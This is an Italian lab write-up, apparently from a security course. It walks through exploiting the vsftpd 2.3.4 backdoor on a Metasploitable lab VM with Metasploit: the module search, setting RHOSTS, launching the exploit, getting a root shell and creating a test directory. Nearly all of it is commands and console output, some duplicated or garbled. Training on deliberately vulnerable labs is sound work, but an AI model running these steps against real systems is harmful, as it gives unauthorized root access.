

Hacking con Metasploit

Nella lezione pratica di oggi vedremo come effettuare una sessione di hacking con Metasploit sulla macchina Metasploitable.

Traccia:

Partendo dall'esercizio visto nella lezione di oggi, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «**vsftpd**» (lo stesso visto in lezione teorica).

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: **192.168.1.149/24**.

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (/). Chiamate la cartella `test_metasploit`.

Avviamo Metasploit con il comando **msfconsole** e vediamo se esiste un exploit per il servizio «**vsftpd**», e facciamo una ricerca con il comando «**search**» seguito dal nome del servizio.

```
https://metasploit.com
passw...

    =[ metasploit v6.3.43-dev                               ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post           ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops             ]
+ -- --=[ 9 evasion                                           ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules
=====
#  Name                                                                 Disclosure Date  Rank   Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232                                         2011-02-03     normal Yes     VSFTPD 2.3.2
Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03     excellent No      VSFTPD v2.3.
4 Backdoor Command Execution

user1.txt

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/
vsftpd_234_backdoor

msf6 > 
```

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                                                                                                                      |
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/unix/interact):



| Name            | Current Setting | Required | Description |
|-----------------|-----------------|----------|-------------|
| Exploit target: |                 |          |             |
| Id              | Name            |          |             |
| 0               | Automatic       |          |             |



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

```
[*] No payload configured, defaulting to cmd/unix/interact
```

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

```
Payload options (cmd/unix/interact):
```

```
Exploit target:
```

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Metasploitable si trova all'indirizzo 192.168.1.149, utilizziamo il comando «**set RHOSTS 192.168.1.149**».

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                               |
| CPORT   |                 | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS  | 192.168.1.149   | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                  |



Payload options (cmd/unix/interact):



| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
| NAME |                 |          |             |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.
```

Ricontrolliamo le opzioni necessarie con il comando «**show options**» per vedere se abbiamo inserito tutte quelle necessarie. Il campo RHOSTS è stato correttamente inserito con l'ip della nostra macchina Metasploitable.

La prima cosa da fare è vedere quali payload sono disponibili per l'exploit scelto. Possiamo controllarlo utilizzando il comando «**show payloads**». Possiamo vedere che c'è solamente un payload compatibile. Essendo unico viene usato di default, e avviamo l'exploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads



| # | Name                      | Disclosure Date | Rank   | Check | Description                                        |
|---|---------------------------|-----------------|--------|-------|----------------------------------------------------|
| 0 | payload/cmd/unix/interact |                 | normal | No    | Unix Command, Interact with Established Connection |



msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:41979 -> 192.168.1.149:6200) at 2024-03-04 13:10:25 +0100
```

Una sessione è aperta: abbiamo una shell sul sistema remoto. Proviamo ad eseguire dei comandi, ad esempio: eseguiamo «**ifconfig**» e se l'ip che ci restituisce la macchina è 192.168.1.149 allora siamo

sicuri che l'exploit è andato a buon fine e siamo effettivamente sulla macchina Metasploitable.

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:74:94:13
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe74:9413/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:22 errors:0 dropped:0 overruns:0 frame:0
          TX packets:103 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1707 (1.6 KB)  TX bytes:10057 (9.8 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:151 errors:0 dropped:0 overruns:0 frame:0
          TX packets:151 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:41767 (40.7 KB)  TX bytes:41767 (40.7 KB)
```

Per terminare l'esercizio, creiamo la directory test_metasploit.

```
pwd
/
mkdir test_metasploit
```